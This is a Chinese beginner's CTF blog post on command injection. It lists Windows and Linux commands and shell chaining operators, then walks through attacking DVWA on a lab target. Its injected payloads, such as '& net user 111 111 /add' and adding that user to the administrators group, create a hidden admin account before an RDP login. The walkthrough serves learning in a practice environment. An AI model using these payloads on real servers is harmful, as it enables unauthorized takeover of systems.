CTF之萌新web学习2

命令执行

命令注入漏洞的危害与web中间件运行权限有关。由于web应用运行在web中间件上,所有web应用会“继承”web中间件的运行权限。黑客可以利用漏洞任意的执行权限允许的命令,比如:查看系统敏感信息,添加管理员,反弹shell,下载并运行恶意代码等。一旦中间件权限分配过大,黑客将直接控制我们的web服务器。

命令注入的本质: 系统把用户输入的参数当成了要执行的命令,并且这些命令被执行了。

命令注入产生的原因:

  1. web网站没有对用户提交的参数进行有效的检测过滤
  2. 操作系统允许一条语句执行多条命令(连接符和管道符)

windows操作系统命令

命令 功能
ping 检测网络连通性
ipconfig 查看当前ip地址
netstat 查看网络端口及连接情况
net user 查看,增加,删除当前系统用户
net localgroup 查看,增加,删除当前系统用户组
dir 列出当前目录下的文件和子目录信息
req 注册表及其相关操作
systeminfo 查看当前计算机的综合信息
tasklist 显示当前运行的进程信息(可查看PID)

inux操作系统命令

命令 功能
ifconfig 查看当前ip,mac等信息
netstat 查看网络端口及连接情况
whoami 查看当前用户
cat 查看文件内容
ls 查看当前目录下的文件和子目录信息
useradd 添加用户
userdel 删除用户
passwd 修改用户密码

这里只是简单列举,具体语句使用自行百度即可。凑字数
关键的来了!!

windows:

命令格式 含义
command1 & command2 先后执行command1和command2,无论command1是否执行成功
command1 && command2 先后执行command1和command2,只有command1执行成功时才执行command2
command1 || command2 先后执行command1和command2,只有command1执行失败时才执行command2
command | command2 | 是管道符,将command1执行的结果传递给command2

linux:

命令格式 含义
command1 ; command2 先后执行command1和command2,无论command1是否执行成功
command1 && command2 先后执行command1和command2,只有command1执行成功时才执行command2
command1 || command2 先后执行command1和command2,只有command1执行失败时才执行command2
command1 | command2 | 是管道符,将command1执行的结果传递给command2

就第一个命令有差别

开始实验

靶机ip地址172.16.12.2,系统win2003
实验环境:DVWA 等级:low
账号admin,密码password 登录
在这里插入图片描述
进行ping命令
在这里插入图片描述
尝试命令注入

172.16.12.2 & net user

在这里插入图片描述
可行,后面得到了用户信息,接着创建新用户111

172.16.12.2 & net user 111 111 /add

在这里插入图片描述
查看是否创建成功
在这里插入图片描述
成功完成第一步,接着将111用户添加到管路员权限下
首先查看管理员组

172.16.12.2 & net localgroup administrators

在这里插入图片描述
进行添加我们的用户

172.16.12.2 & net localgroup administrators 111 /add

再进行查看就出现了
在这里插入图片描述
随后通过3389进入,win+R运行mstsc得到远程桌面
在这里插入图片描述
输入ip,输入密码账号
在这里插入图片描述
成功得到flag
在这里插入图片描述
补充一点,若为未开启3389,可参考,或自行百度即可。
开启 3389 的 cmd 命令
因为是萌新,有错误之处请多多包涵,并感谢i春秋提供的课程以及环境虽然两倍速看的
有时间更新中级和高级(先自己搞懂。。。)

可参考师傅们的文章:
命令执行漏洞简介
Web安全 - 命令执行漏洞
Web安全之命令执行漏洞

发布了7 篇原创文章 · 获赞 0 · 访问量 115

猜你喜欢

转载自blog.csdn.net/bmth666/article/details/104553237